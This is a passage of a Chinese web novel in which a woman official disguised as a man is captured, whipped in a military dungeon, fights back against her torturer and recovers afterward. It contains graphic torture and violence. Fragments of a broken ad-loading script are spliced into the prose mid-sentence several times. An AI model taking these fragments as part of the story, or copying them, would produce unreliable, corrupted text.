饶是叶帘堂平时转的飞快地脑子,此刻也有点卡顿住了。一时间不知是该上前看一下吴津河的情况,还是趁着现在赶紧跑。 他此刻倒在地上没了声息,不会是……死了吧? 叶帘堂摸着假山凸出来的石块,问道:“喂,你,你没事吧?” 地下的人没有声息。 她将石头握在手心,小心翼翼地靠近,心想:“若是他还有气,我便不管这事了,径直跑走了事。若是死了……” 叶帘堂走到吴津河身边,先拿脚尖踹了踹他,见还是没动静,便弯下腰去看他。 见吴津河一脸血地趴倒在地,她也有些慌,便大着胆子伸手去探他的呼吸。 ——没气了? 叶帘堂吓了一跳,急忙将他整个人扳正,摸他的心跳。 谁知手刚触上胸膛,便被人按住。 叶帘堂一惊,撤身抬眼时只见一把白沫向她袭来。 她眼前一花,直觉这粉有问题,却已来不及避开。视线停留的尽头,她瞧见的是吴津河唇边的狞笑。 * 东宫后院有个藏宝阁,里头放着格式的奇珍异宝,花虫鸟兽。 往常李意卿无聊时,便会到这儿来打发时间,可今日却看什么都提不起劲。 清早的晨课叶帘堂无故旷课,甚至没派人来告假,他有些担心,派隆生去问却一直没有回音,不由得第三次起身问宫人,“隆生回来了吗?” 小宫女还没来得及回话,廊角便转入一身蟒袍,李意卿见到急忙奔了过去,问:“叶悬逸他怎么了?” 隆生面色不大好,道:“咱家,咱家没见到叶大人。” “没见到?”李意卿皱眉,“没见到是什么意思?” “叶大人不在府内。” “什……” “小五!” 李意卿话还没问出口,便听远远一声高喝。 他转过头,见李意骏神色匆匆地往这边走,问:“你见着叶悬逸了吗?” 李意卿面色有些白,头也不会地答道:“没见。” 脚步急促,李意骏神色有些焦躁,只是问:“你叫隆生去看他,他怎么样了?” 李意卿从他语气中品出一丝不祥来,沉声问:“怎么了,你找他何事?” “你快说,他是不是……”李意卿抿了抿嘴巴,呼出一口气才,道:“……他是不是,不在府里?” “你知道什么?”李意卿只觉得心脏不断往下沉,慌乱抓住李意骏的胳膊,问:“三哥,你都知道些什么?” 李意骏见太子神色慌乱,心中便已确定了猜测。 他吞了口口水,反握住李意卿,“我先同你说好,听了之后莫要冲动。” 太子连忙答应。 李意骏伸手擦了把额上的汗珠,慢慢道:“……他,他好像在我舅舅那儿。” “你舅舅,昭武副尉?” 李意骏点了点头。 “他去张副尉那儿拜访做什么?”李意卿这才渐渐缓和下气息,问道:“他们认识吗?” “不,不是拜访。”李意骏眼睛通红,手心攥紧,哑声道:“……她是被抓过去的。” 李意卿怔在原地,良久才笑道:“……怎么可能,她犯了何事,何至于出动羽林军?哈哈,三哥,你可别再同我玩笑了。” “这都什么时候了,我怎会同你玩笑!”李意骏急道:“是蓝……宁安亲眼见着的。他,他被扔到地牢里头去了!” * 皇城安礼门附近,千步廊南侧,北衙六军司如一头猛虎般巍然盘踞。 广达楼中,张喆信坐中央,目光转向一旁战战兢兢跪着的吴津河,哼笑道:“听说你差点交代在他手上?” 吴津河低着头,恨道:“是他偷袭!” “是吗?”张喆漫不经心地吹了吹盏中的茶沫,“怎么和蓝溪说得不一样?” 吴津河身子一抖,瞪向一旁立着的小太监。 张喆搁下茶杯,右手自胯间抽出长刀。刀身与 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 鞘摩擦,发出令人牙酸的声响。 吴津河颈边一痛,只觉是利刃刺进了皮肤,动也不敢动,只闭着眼睛回话道:“是,是被那厮拖了不少时辰,但如今她已人在地牢!” 张喆冷笑一声,那利刃便再刺进去几寸。 吴津河只觉得颈便又痛又痒,微微睁眼,原是有血顺着伤口流下。 “你色胆包天,办事拖拉不干净。”张喆缓缓道:“我很失望。” “某,某再也不敢了!”吴津河心中一横,大声道:“某有事要禀!” 一旁低头立着的蓝溪见张喆瞥她一眼,心下了然,便躬身退了出去,顺手拉下了竹帘。 张喆这才将那长刀一抖,移开了吴津河的颈边,道:“你最好是真的有事要说。” 吴津河听他言下之意,便是说不到他心里便要去见阎王,跪着向他爬了几步,腆笑道:“将军,是叶侍读的事情。” “怎么?”张喆踢他一脚,“你想让本将军饶他一命?” “不,不是!”吴津河从地上爬起来,笑道:“将军不妨亲自去审那厮,定然是有意外之喜。” 眼见着张喆又要抽出长刀,他登时三魂去了七魄,磕头如捣蒜,“那厮,是,是个女的!” 张喆抽刀的手停住,目光自上而下地睨来,良久才笑,“竟是如此,怪不得你这样利索地便将人送了来。” 他俯下身,看着吴津河,用刀鞘末梢轻轻拍着他的脸,森然道:“我见你这样利索的将人送来,原以为是叶悬逸那一砖头将你拍醒了,没想到……竟是如此啊。” “这下那厮的罪名便可顺理成章地定下。”吴津河以头扣地,“叶悬逸身犯欺君之罪,这下不仅没人能保住他,而且大人此举也算是为陛下做了事,旁人也不能多嘴了。” 许久的沉默后,张喆笑了,如刀刃上洒下的一捧血,冷声道:“吴津河,你能活到现在,该多亏自己的运气。” 吴津河抖着身子,“不,是因着将军,我才能活在今天。” “罢了。”张喆重新坐回椅子,摆了摆手,“你退下吧,我一会儿差人去看看你头上的伤。” “多谢将军,多谢将军!”吴津河叩头拜谢后,躬身退出了广达楼。 “呸,什么我活到现在全靠运气。”他暗暗腹诽,“爷活到现在都是靠着脑子!” “吴先生。” 冷不丁一声呼唤将做贼心虚的吴津河吓得不清,待颤颤巍巍转过身,发现是蓝溪后,心中暗骂一声“狗腿子”,不耐道:“做什么?” 蓝溪总是很安静,睁着一双大眼瞧人时,总让吴津河想起昆虫密密麻麻的复眼,令他有种被未知生物窥视的悚然。 “先生一会儿用什么饭?” “……你看着安排罢。” “是。” 蓝溪应声走向后院。 吴津河拍拍脑袋,暗道一声:“他只是个小孩,何必多想。” * 羽林狱刑之残酷乃是天下闻名的。 断脊、剥皮、钩背、抽肠、温溺……名目种类之繁复,总让张喆挑花了眼。 他抚一把身旁的长刀,抬眼道:“去地牢,我亲自审问叶悬逸。” 19. 藤鞭 囚室深藏,幽邃难测。 湿气缭绕中,烛影稀稀拉拉地照出四壁斑驳的霉块,摇曳间犹如鬼魅潜行,令人胆寒。 叶帘堂此时正靠在石壁上,戴着刑具的手软软搭着,衣袖勉强盖住腕上的伤。 意识昏沉间,她听到愈来愈近的脚步声。 突然,一盆冷水从头浇到脚,激得她一个哆嗦,猛地睁开眼时,狱卒已提着桶向她泼来第二盆。 四肢被刑具固定住,叶帘堂躲闪不及,生生从正面挨了下来。她身上早先才受过一轮刑,这时见水,更是痛极。 那狱卒定是听了谁的指示,朝着她的面门便毫不犹豫地泼来第三盆。 冷水灌进口鼻,叶帘堂登时咳得心肺俱裂,想将自己蜷缩起来。 “都出去。” 头顶传来一道低沉的声音。 叶帘堂缓过劲来,眨掉睫毛上的水珠,向上看去。 只见来人一身杏色宽袍,上头细细绣着麒麟踏云,腰间一把长刀飒飒,金银鞘上雕着的龙凤圆环于暗室生辉。 一股淡淡的阿末香萦绕在鼻尖。她听柳太傅说过,阿末香是先帝御赐给张氏的奖赏。 远处狱卒鱼贯而出,牢门阖上时发出刺耳的尖锐声。 叶帘堂垂下目光,轻声道:“原来是张副尉。” 张喆盯着她还在不断滴水的发丝,笑:“叶侍读竟认得我?” 叶帘堂脑中昏沉,索性不再言语。 张喆冷不丁用刀鞘将她的下颚抬起,金质环首冰凉锋锐,硌得她生痛。 “果真是个女子。”张喆打量她两眼,忽地偏过头,嘴角挂着一丝微妙笑意,问道:“陛下知道此事吗?” 叶帘堂耷拉着眼皮,有气无力道:“副尉何必明知故问。” “是啊……”张喆俯下身,在她耳边问:“那……太子殿下知道此事吗?” 叶帘堂脑袋晕,身上疼,实在没有精力同他进行这一系列无意义的对话,白他一眼,懒得开口。 张喆见她不搭话,便将刀鞘自她颚下抽出,走到一旁霉斑片片的木案旁,就着昏暗的烛火开始翻阅桌上的纸卷。 “我听说叶大人出了会试,竟是殿试三甲,如今算是天子门生啊。”张喆自顾自低笑,“不过,真是可惜。” 他目光沉沉,拢在叶帘堂身上,嗤笑一声:“成绩如此斐然,却是个女子。” 这话她在现代都听得多了,不想开口。 张喆抽刀出鞘,用刀尖削去叶帘堂腕边的衣物,啧啧道:“贱官无礼,竟将叶大人这一身白璧无瑕的身子打成这样。” 叶帘堂终于忍无可忍,抬头笑道:“副尉何必同我东拉西扯,有话直说便是。” “谅你年纪小,同你说会儿话还不乐意听了,哈哈。”张喆低笑两声,再抬眼时目光森然,只道:“你是个女子,东宫那边知道这事吗?” 叶帘堂摇头,“殿下当然不知道……” 张喆“砰”地一砸桌案,喝到:“老实交代!” 叶帘堂再混沌的脑子此时也反应过来了,这昭武副尉分明是想拿她的事给太子扣上一顶欺君的罪名! 太子一向偏得宠爱,寻常诉讼也就罢了,就算是人命官司,皇帝也定只是睁一只眼闭一只眼,同他们北衙六军司糊弄糊弄也能过去。 但若是这欺君罔上的罪名一按上……李意卿的位置便稳不下去了,甚至都有可能小命不保。 叶帘堂抬起头,对上昭武副尉的眼睛,哼笑两声。 张喆见她明白,表情也软和下来,轻声道:“若是能让太子下台,你也不必害怕,我可以保你不死。” “你能耐不小,我很欣赏。从此以后跟着我,照样有锦衣玉食伺候。”他俯下身,用刀鞘柄端轻轻拍了拍她的脸,笑着问:“你觉得如何?” * “小五,小五!”李意骏在后头奋力追着,喊道:“你方才答应过我,不要冲动的!” “羽林御刑有多峻酷三哥你不是不知道,凭叶悬逸那身板根本就受不住!”李意卿在前头头也不回地跑。 “你现下是要去跑去哪?” “雪芸殿。” “胡闹!”李意骏怒吼一声,隆生见状也不陪着太子跑了,冒着大不敬的风险将李意卿拦下,跪地道:“殿下,不可!” “走开!”李意卿急道:“叶悬逸平日里待你那般好,你就这样回报他!” 隆生跪地叩首道:“殿下息怒,此刻陛下知不知晓此事还难说,殿下要是直接冲撞了圣驾,更是雪上加霜啊!” 李意骏嘴笨,此刻隆生将他心里话全都吐了出来,畅快不少,大跨两步住了上来,一把捉住太子的胳膊,道:“是,小五,我们如今,如今……” “如今该是去打探打探,北衙六军司是凭何将叶大人抓去的,这才好想对策。”隆生接过李意骏的话头,慢慢道。 “可谁人不知那羽林狱刑……”李意卿着急,“若我这一耽搁,害他那边出了什么事……” 隆生摇了摇头,说:“殿下,此番那羽林是秘密将叶大人捉去的,陛下此刻恐怕也不晓得这事。叶大人乃天子门生,只要陛下不发话,那北衙六军司再大的胆子也不敢将人私自处置了。” “是,是。”李意骏在旁边点头应着,道:“我已经派宁安去打探了,悬逸兄怎么也不会在此刻出事。” “是,我已经派人在雪芸殿门前远远地盯着梢了,只要一见那北衙的人来,便会上前将人扣下。”忽闻一声少年音自身后传来,众人回过头,见竟是四皇子李意乾。 李意乾迎着他们不解的目光,翻着白眼解释道:“你们不如抬头看看现下是何处?在我殿前喧哗这么久,我早就听了个干净!” 李意骏一抬首,果真见不远处明晃晃挂着“平朔殿”三个大字。 “叶悬逸出这么个事,你们竟也不派个人来告诉我。”李意乾不满道:“否则就凭你俩的脑子,要不是有隆生拦着,早闯了大祸了。” 李意骏罕见地没还嘴,只是问:“该怎么办?” “若是北衙来的人比安宁回来的早,我们定要将那人拖住,切莫让他去向父亲通报。” 其余两个少年点点头。 “若是安宁回来的早,我们便可事先商量对策,到时留一个人在这拦住北 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 衙的人,其余两个按计划行事。” “我同北衙的人熟,我来拦人!”李意骏自告奋勇道。 李意乾点点头,“是,也属你脑子笨,做这个最在行。” “你!” “三哥,你功夫最好,一定要将人拦下!”李意卿叹了口气,“切记切记……” “放心好了,我一定将人拦死!”李意骏点头。 话音刚落,便见宁安慌慌张张地从廊下跑来,煞白着一张脸还不忘记压低声音,道:“不,不好了!” 几人内心皆是一提。 宁安的手臂像是不受使唤似的哆嗦个不停,结结巴巴道:“叶,叶大人他……” 话没说完,他终于忍不住垂下头,干呕了起来。 * “不识好歹,给我上刑!” 张喆“砰”地一拍桌子,力气之大像是要将那桌案拍碎。 “我谅你是个有才能的人,你却这般……罢了,我看你是不见黄河不死心!” 叶帘堂身上戴枷披锁,紧接着,双臂被高高吊起。 旁边虎背熊腰的男人仰起藤鞭,“啪”地一声抽了上来,藤条上带有细刺,这一鞭下来连皮带肉的就是一道长条血痕。 剧痛迅速向着四肢百骸蔓延,叶帘堂只觉得头皮炸裂,偏生嘴里堵着东西无法哀嚎出声。 不给她半点喘息的机会,下一鞭又重重挥来。她四肢被捆,挣扎不得,只得不停抽搐,真切体验了一把何为“人为刀俎,我为鱼肉”。 “我再问你一次。”张喆拨弄着案上的烛火,慢悠悠开口:“东宫知不知道你的身份?” 叶帘堂知晓其中利害,若只是她一人的罪名,明昭帝是个性子温和之人,有有高高举起轻轻放下的可能性的,但若她这罪名真的被扣到了太子头上,皇帝震怒之下自己极有可能落下个被抄家的下场。 到了那时张喆就算是兑现承诺,往后过得也是隐姓埋名,担惊受怕的日子。 不如咬牙撑下来,还能争得一线生机。 她痛的半身麻木,冷汗淋漓,却仍是摇了摇头。 “好,好得很。”张喆一挥手,示意那壮汉继续抽鞭,他轻声笑道:“我倒要看你能忍到几时。” 一鞭一鞭凌厉而来,叶帘堂身上的血水渗出,夏日里单薄的白色中衣早已被染得赤红,甚至连她口里的布团都隐隐透出血色的边来。 叶帘堂只觉得自己瞑目待死,原来皮开肉绽的地方火辣辣烧着,新的鞭子叠加其上,登时是一团血肉模糊。 这头张喆轻轻一搁茶杯,摆手叫停,侧头问:“晕了?” 又是一盆冷水从头浇下。 叶帘堂面对着发了霉的墙壁,上头开着扇窄小的窗,热潮从中股股吹来,烧得她身上如刀割般钝痛。 身上痛到极处,反而没了知觉。不知为何,叶帘堂只觉得此刻脑子清醒的吓人,她甚至想好了自己下一部该做什么。 待第三轮藤鞭歇下,张喆啜着茶,抬眼道:“怎么,愿意交代了吗?” 叶帘堂看着他,脑中却清明的可怕。 满室寂静中,她缓慢地点了头。 20. 决心 灯火灰暗,张喆冷笑一声,摆了摆手,示意狱卒上前将她松绑放下。 狱卒的动作并不轻缓,叶帘堂一下子摔倒在地。她勉强用手肘撑着,地面又潮又湿,原本麻木的伤口在轻微的摩擦间再次泛起细密的刺痛。 张喆走近,俯下身笑道:“你看看你,本来就只是点个头的事,你非要闹到这般地步。”他目光触及叶帘堂身上的斑斑血痕,柔声问:“很疼吧?” 叶帘堂垂下眼皮,模糊的发出了几个音节。 张喆回过身,却见是蓝溪识相地双手奉来一盏茶,恭恭敬敬地候在身边。 他皱了皱眉,疑道:“你怎么在这儿?” 蓝溪仍旧垂着头,回:“宁安公公方才将将军的外袍送来了,叫我拿给将军。” 语罢她稍稍侧身,果真见一叠杏色快跑耷在椅上。 “地牢也是你们这种阉人能进的?没有下次。”张喆眯了眯眼,顺手一指着叶帘堂,向着蓝溪道:“正好,你去给她喂点水。” 蓝溪点头,双手捧着茶盏便跪在了叶帘堂身边,原想一手将她扶起来,低头却见她满身血污,无从下手,只好将茶盏喂到她嘴边,轻声道:“大人,请用。” 叶帘堂满口是血,浑浑噩噩间张了嘴,温和的茶水滚进食道,将嘴里浓重的铁锈味冲散了许多。 “忍一忍。”她听见耳畔传来低低的安慰。 叶帘堂啜饮着茶水,细微的摇了摇头,又勾了勾食指。 蓝溪心领神会,不动声色地将手中握着茶盏的胳膊抬高了些许,让宽袍足衣遮挡住她另一只手的动作。 张喆在案前翻着要记录口供的册子,抬眼见蓝溪还在给叶帘堂喂水,不耐烦道:“磨磨蹭蹭的,好了没有?” 蓝溪将被子撤开,恭恭敬敬地垂首走到他身边。 整间牢房的狱卒都是曾经陪着张喆出生入死的弟兄,他看着残息尚存的叶帘堂,抬了抬下巴,毫不避讳道:“叶悬逸,只要你愿意交代出实情,本将军方才答应你的事还作数。” 叶帘堂张了张口,发出的声音却仍旧如蚊蝇般细微。 张喆此时对她还在兴头上,并不着急,全当这是一种趣味。他走近俯下身子柔声道:“方才想说什么?再说一遍。” 叶帘堂张了张口,“……太……从……” “你们都下去。”张喆向着身后的狱卒挥了挥手,待人都窃笑着下去,他又将耳朵凑近了些,笑道:“美人,你慢慢地……” “我说。”叶帘堂忍着因疼痛而紊乱了的呼吸,张开嘴,发了狠地往咬上他的耳朵。 她听见自己的牙齿咬碎软骨的“咯吱”声,口腔里逐渐充满了另一种血腥气。 张喆只觉得耳朵一痛,下一瞬,剧痛感闪电般贯穿到了他的整个头部。他惨叫一声,感到一股温热的液体从耳朵处流淌下来。 他下意识地想抽刀,可另一双冰凉苍白的手却先一步做了。 “不,不……”张喆跌倒在地,刚想开口喊人,一股不可抗拒的力量便往他的颈间袭来,冰冷而坚硬。 下一瞬,他看见猩红色的液体自他颚下喷涌而出。 叶帘堂手握长刀,嘴里“呸”地吐出半截腥红的物什。 ——那是他的耳朵。 时间仿佛凝固了,他想起身往出跑,却听见身后牢房咔擦一声上锁的声音。 是蓝溪偷偷替她锁上了牢门。 情急下,张喆渐渐松开捂住伤口的手,伤口不深,面前的人并不擅长使用他的刀。 不过耳朵上的痛却是实打实的。 他痛苦地呻吟一声,自袖中抽出臂缚短刃,猛地向叶帘堂冲了过去。 * “什么?舅舅他对悬意用了……”三皇子李意骏张了张口,好半天才挤出那几个字,“……藤鞭?” 李意卿只觉得脑中嗡嗡作响,推开人群便朝着北衙六军司的方向跑去。 李意乾见状一跺脚,向着李意骏道:“你在此地守好,万不能叫父皇先一步知晓此事!” 李意骏快速地点了点头,急道:“你快去看看小五,别叫他闯了祸!” “放你的心。” 李意乾的声音融进六月的夏风里,渐渐去了痕迹。 李意骏远远地立在雪芸殿前,转动酸涩的眼珠看向宁安,良久方才开口:“……他为何非要做这些。” 宁安立在一旁,暗自叹了口气,担忧道:“将军也都是为了殿下好。” “为了我好?”他呵笑一声,“城北也是,如今也是!我早与他说过,我不想要那些!” “殿下!”宁安压低声道:“谨言。” “他从来只是为了他自己,却打着我的幌子……”李意骏揉了揉酸涩的眼眶,“他从来没有考虑过我!他有想过我是什么感受吗!” 六月皇城如溶金流火,氤氲天地。李意骏红了眼眶,摇头道:“宁安,你知道的,我从没奢求过那些……” 宁安皱起眉,“殿下,莫再胡说!” “宁安,你知道我的,是不是?”李意骏像是捉住了最后一根稻草,“我们自小一起长大,我同你说过的,我只想要一个大庄子,里头养着各式各样的马,白日里我们就一起去郊外跑马玩耍,到了晚上再一同去酒肆畅饮……” 他瞧着宁安眉间愈来愈深的褶皱,哀求一般拉住他,“你知道的,是不是?” “三殿下。”宁安垂下头,一点一点将自己的袖子从他手里扯出来,慢慢道:“就像将军说的,殿下只需等着,便是了。” 李意骏低头呆呆看着他空荡的手心,怔愣半晌便不再说话。 好像自春末以来,沉默变成了他的常态。 六月天气从来都是如此,清风不常至,偶然的微凉也都瞬息即逝。人间酷热难解,骄阳四野,无有遁形。 * “你根本不会用刀。” 两三次交手后,张喆嘴边闪着残忍的笑,步步紧逼,“你固然满腔怒火,但没有规矩的怒火只想是小孩子发脾气。” 叶帘堂握着长刀的右手在轻轻颤抖。 他说得对,她不仅不会用刀,此刻体力也快要消耗殆尽了。 张喆此番的攻势更加猛烈,逼得她从牢房这头退到另一头。而她只能拼命举刀格挡,偶尔虚弱地刺出一两刃,却根本不能制造出任何威胁。 张喆这昭武副尉的职位并不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是空穴来风,而是实打实一刀一刀杀出来的。 他更强壮、更凶悍、更残忍。而叶帘堂能依仗的,只有更聪明、更敏捷、更狡猾。 还有……更下作。 她闷哼一声,突然发难,右手将长刀挥出一道漂亮的弧线向右臂砍去,在张喆躲避的空档,她顺势抄起一旁的矮凳向他掷去。 张喆没料到这招,生生挨了一凳子,砸的他眼冒金星,鼻梁骨生痛。 叶帘堂趁着空档迅速挥去一刀,却被张喆多年战场培养出来的直觉反身扭开,她只能堪堪将他袖上的麒麟尾巴削下。 “雕虫小技。”张喆冷哼一声,一把短匕与长刀相抵。 叶帘堂身上本就伤痕累累,此刻汗珠流下,更是搅得全身又麻又痒。张喆气力大,一把短刃将长刀弹了开来。 叶帘堂被震得发麻的右手好不容易没松开刀柄,只觉手腕阵阵刺痛。 “叶大人,你可真是比泥鳅都滑不溜手。”张喆嗤道:“上次城北,就该让你和太子一同绞死。” 叶帘堂压抑着紊乱的呼吸,“原来是你。” “知道的太晚了。”张喆一挥手,短匕再次袭来。她狼狈地躲闪,心中愈发明白——他们打的越久,他对她的虚张声势就越是了解,她的机会也就越是渺茫。 张喆冷笑一声:“叶大人,你还握得住刀吗?” 话音刚落,他右臂一转,便将长刀从叶帘堂手中挑飞出去,掠过一众刑具,直直插进墙壁里。 “啧。”张喆心疼地看一眼长刀,“真是暴殄天物。” 眼看他的短刃闪着寒光刺来,叶帘堂下意识伸手抵挡。 刀尖干净利落地刺穿她的手掌心,穿过骨头,再往前一点,便是她的颈脖。 她呆愣片刻,下一秒痛感传来,她失声跪倒在地。 张喆猛地拔出刀,看着她的模样,露出一丝哀伤的神情,“何必呢,只要你愿意跟着我,怎么会发生这些事。” 叶帘堂倒在地上,胸膛剧烈起伏,看着张喆对着她的颈脖再次举起寒刃。 她知道这一下一定会很痛,于是她咬着牙,奋力的向后一仰。 她还不想死。 叶帘堂咬破了舌尖,用脚踢翻了一旁的木板。 木板朝着张喆倒了下去,他不得不暂时放弃对叶帘堂的追击。 叶帘堂身上的鞭伤火烧般疼,右手的伤口更甚,手掌手指上全是连黏的血液,连拳都握不住,更别说拿刀。 别无选择,她只得用左手将那柄长刀拔出,用刀尖再次对准向张喆的方向。 张喆避开木板,看向浑身浴血的叶帘堂,仿佛看到了她必胜的决心。 那是一道雪亮笔直的倾覆——要么杀死敌人,要么毁掉自己。 长刀反射地牢里仅存的一点阳光,映出一小片明亮的光晕。叶帘堂的早已筋疲力尽,握刀的左手抖个不停。雪白的中衣也被深红浸染,血珠从垂在一旁的右手指尖滴下。 旁人看着她清瘦、飘摇又悬悬,实则她坚韧。 张喆哼笑一声,轻声道:“你不该做文官。” 叶帘堂并不给他多语的机会,握着长刀毫无章法地便向他挥来。 21. 秘药 狭小的牢室像一方泛起涟漪的水塘,夕阳被小窗分割成无数条深红的细线,和身上的鞭痕一痛缠绕在她身上。 疼痛扫清了恐惧、犹豫、忧虑与选择,此刻她脑中只有一个念头:活下去。 ——杀了面前这个人,走出地牢,活下去。 叶帘堂躲开袭来的一击,左手将长刀抡向张喆的右臂,但被他架住隔开了。她喘着粗气,强迫自己握紧刀柄,以至能从酸痛的左臂上榨取出最后一丝力气。 戳刺,抵挡,劈砍,叶帘堂全神贯注,不敢有丝毫松懈。 但还是高估了自己。 张喆比她想象的更强壮、更自如,也更耐心。 叶帘堂强忍疼痛,疲惫而笨拙地再次挥刀。张喆轻蔑地扫开,顺势跨步闪至她身侧,任她收势不住地扑了个空。 她原以为张喆会趁机给她一刃,然而他只是一脚踢开了她再也无法握住的长刀,居高临下地睨着她。 叶帘堂在地上趴了一阵,身体手指都是一片麻木。她强撑着坐起身,摇摇晃晃地去捡那把刀。 实话说,她已经不想再打了,这场冲突只是她一个人的战斗。在张喆眼里,也许从一开始这就是一场碾压式的调戏。 右手太痛,左手又抖个不停,叶帘堂尝试了许多次都无法将整把长刀提起来。 张喆冷笑一声,短匕对着她的方向,一字一顿道:“你输了,叶大人。” 叶帘堂最终还是拾不起那把长刀,于是索性坐在它的旁边,漠然地看向他。 “你是个很有决心的女人,我喜欢你这点。”他转动目光,慢慢打量着乱七八糟的地牢,“若你不是太子侍读,那一切就都好办许多。” 最后,张喆的目光牢牢定在她身上,向前走了几步,问:“还有未尽之言吗?” 叶帘堂抹掉嘴角的血迹,忽然望着他笑。 张喆皱起眉头,“你——” 身后牢房小门轰然破开,一尊烛台猛地砸向他的后脑。 日头西落,夕阳慢慢扫过来人赤红的衣摆。那人眉间的朱砂痣在阴影里还显得黯淡,随着他迈步走近,眉间映入残阳,小痣便倏地一亮,宛如火焰新烧的痕迹。 叶帘堂轻轻吐出一口气。 李意卿紧张的目光在看见她时有一瞬间的放松,而后又凝起来,一点一点描过她血淋淋的身体。 “幸好有你来。”叶帘堂终于松开了手里的长刀,瘫坐在地上笑:“真是疼死我了。” 真奇怪,天大地大,她竟然将全部希望都寄托在了一只调皮捣蛋鬼的身上。 * 再睁眼时,鼻尖便充斥着一股浓烈的药味。 叶帘堂仰倒在榻,才动了动身体想要起身,顿觉疼痛难耐,不慎叫出声来。 木门“吱呀”一声被推开,只见契荣推门而进,见她醒了惊讶地叫了一声,连忙走过来不叫她乱动,“大人,您身上才涂了药膏,可不敢乱动。” 叶帘堂目光一扫,原来自己已经被送回了新宅,沋河坊里头。 她见自己一袭干净整洁的白色里衣,张了张嘴,发出嘶哑的声音,“是你替我换的衣服,上的药?” 契荣点了点头。 “那你也已经知晓了,我是女子。” 契荣替她倒了杯茶,应声道:“是呀,大人。” “……怎么还叫我大人。”叶帘堂咳嗽两声,“陛下应是已经卸下我的职务了吧?” “嗯?为什么” 叶帘堂咽下茶水,慢慢解释道:“在大周,女子是不能做官的。” “凭什么!”契荣险些跳起来,“可是,可是并没有人说要卸下你的职务啊?想来皇帝陛下并不打算这么做。” 叶帘堂垂下眼眸,轻声说:“这于理不合。” “怎么不合?”契荣凑近了些,坚持道:“大人从歹人手里将我救下,在我眼里,大人比男子威武得多。” 闻言,叶帘堂轻声笑了笑,摇头道:“罢了……契荣,我睡了多久?” 契荣打好水,双手捧着小勺将桌上温热的汤药喂进她嘴里,慢慢道:“大人睡了有足足三日,是前些天皇城里的人用软轿将您抬回来的,浑身的血,可没把我和童老板吓死。” 叶帘堂好不容易将药喝完,吐着舌头要糖吃,契荣从桌上摸了一颗桂花糖糕塞给她,她才慢悠悠咂着糖道:“……我这沋河坊离你们芙蓉酒肆隔着两条街,你们怎么看见的?” “咦?”契荣疑惑道:“是先前有位小公子跑来说,您叫我们过去。” “小公子?”叶帘堂皱了皱眉。 “是呀。”契荣替她收了药碗,重新打了盆水来给她擦脸,“他说他姓‘来’。” “来?”这下叶帘堂更摸不着头脑了,她何时结识过姓“来”的公子…… 纠结半晌,待契荣替她擦完了脸,才猛地反应过来,道:“契荣,是姓‘蓝’的公子吧!” 契荣将纱巾拧干,抬头问:“对啊,来公子。” 叶帘堂干笑两声,默默想:“相处这么久,竟险些忘记契荣是个胡人女子了……” 她忘记身上有伤,下意识想坐起身,结果又龇牙咧嘴地倒在榻上。 契荣不解地歪了歪头,问:“大人,您这是在玩什么呢?” 叶帘堂抽着气,这才想起了桩要紧事,忙问:“对了,你知道北衙六军司这几日怎么样?” 契荣一听这个,连忙蹲在她床边,悄悄道:“大人您还不知道吧,就您回府的那一天,北衙那边烧了好大一场火呢!” 叶帘堂听着她的语气,再想起自己职务的事情,心里这才明白过来,定是太子一人将事情揽了去,并将她从里头摘了出去。 自己这么个活了两辈子的大人,三番五次地被小孩子救,像什么话。 她垂下眸,一时间竟不知道心里是什么滋味。 沉默间,隐约听见外头廊下传来一阵急促的脚步声,契荣将头伸出去一看,回头叫道:“哇,是来,来公子来了!” 房门打开,蓝溪一身平民家子打扮,看见她恭恭敬敬地行了礼,“大人,三殿下叫我来看望伤势。” 契荣轻轻将叶帘堂扶起来,将软垫放在她的后腰。 叶帘堂还是觉得痛,抽了口冷气,道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “……我还真是谢谢他。” 蓝溪仍旧垂着头,道:“是,我这便回去同殿下禀报大人的谢意。”语罢竟真是转身要走。 “哎!先别。”叶帘堂急急叫住她,暗暗腹诽,“怎么一点幽默细胞都没有……” 闻言,蓝溪果然停住了动作,再次恭敬的转回身。 叶帘堂看着她一丝不苟的动作,叹了口气,指着一旁的木凳道:“坐吧。” “奴婢不敢。”蓝溪生硬地回复。 最终还是契荣看不下去,生拉硬拽地让蓝溪坐到了凳子上。成功后,她满意地拍了拍手,道:“这样好。” 蓝溪顿时有些无措,叶帘堂笑笑,开门见山地问道:“太子怎么样?” “太子殿下私闯北衙,杖责二十,放火烧府,再加三十。” 叶帘堂脸色发白,那可是廷杖,一板子下去便是皮开肉绽,李意卿被打五十大板,不死也要残! “那他……” 蓝溪已然看透她内心所想,接道:“大人放心,太子殿下无事,行仗的武官们都有分寸。只是现下被关着禁闭,没法来看您。” “那便好。”叶帘堂这才点点头,忽地话锋一转,问:“不过,你为何会为张喆办事?” 蓝溪依旧恭谨,“奴婢本就是昭武副尉的人。” 叶帘堂慢慢道:“所以,那日在城北……” “副尉本已抓住殿下。”蓝溪垂下头,“是奴婢将太子殿下藏了起来。” “那日在北衙地牢也是,多谢你。”叶帘堂呼出一口气,“你是好人。” 蓝溪却摇了摇头,“大人,我并不是什么好人,我帮副尉杀过人,也冤枉了许多人。”她抬眼看向叶帘堂,嘴角挑起一抹意味不明的笑,“我从来都是想做什么便去做了,大人也不必因此对我另眼相看。” “张喆呢?”叶帘堂问:“他……死了吗?” “差点被太子殿下烧死。”蓝溪看她一眼,回道:“三殿下出面求情,留下了一条命。” 叶帘堂点点头,未置一言。 蓝溪偷偷抬眼,轻声问:“大人希望他死了吗?” “也许吧。”叶帘堂像是终于下定了决心,垂眼看自己那只被扎透的手掌,“毕竟我差点死在他手上。” “那……”蓝溪的眼睛黑如沥青,一眨不眨地盯着叶帘堂,良久才问:“你恨他吗?” 叶帘堂目光慢慢挪到蓝溪身上,认真地想了许久,慢慢道:“……也许吧。” 蓝溪轻笑一声,从袖中掏出一罐药,道:“这是三殿下要奴婢给大人送来的,滇南秘药,外敷不会留疤。” 药瓶搁在木桌上,发出好听的碰撞声。 契荣在一旁幽幽道:“来公子,你方才怎么不拿出来。” 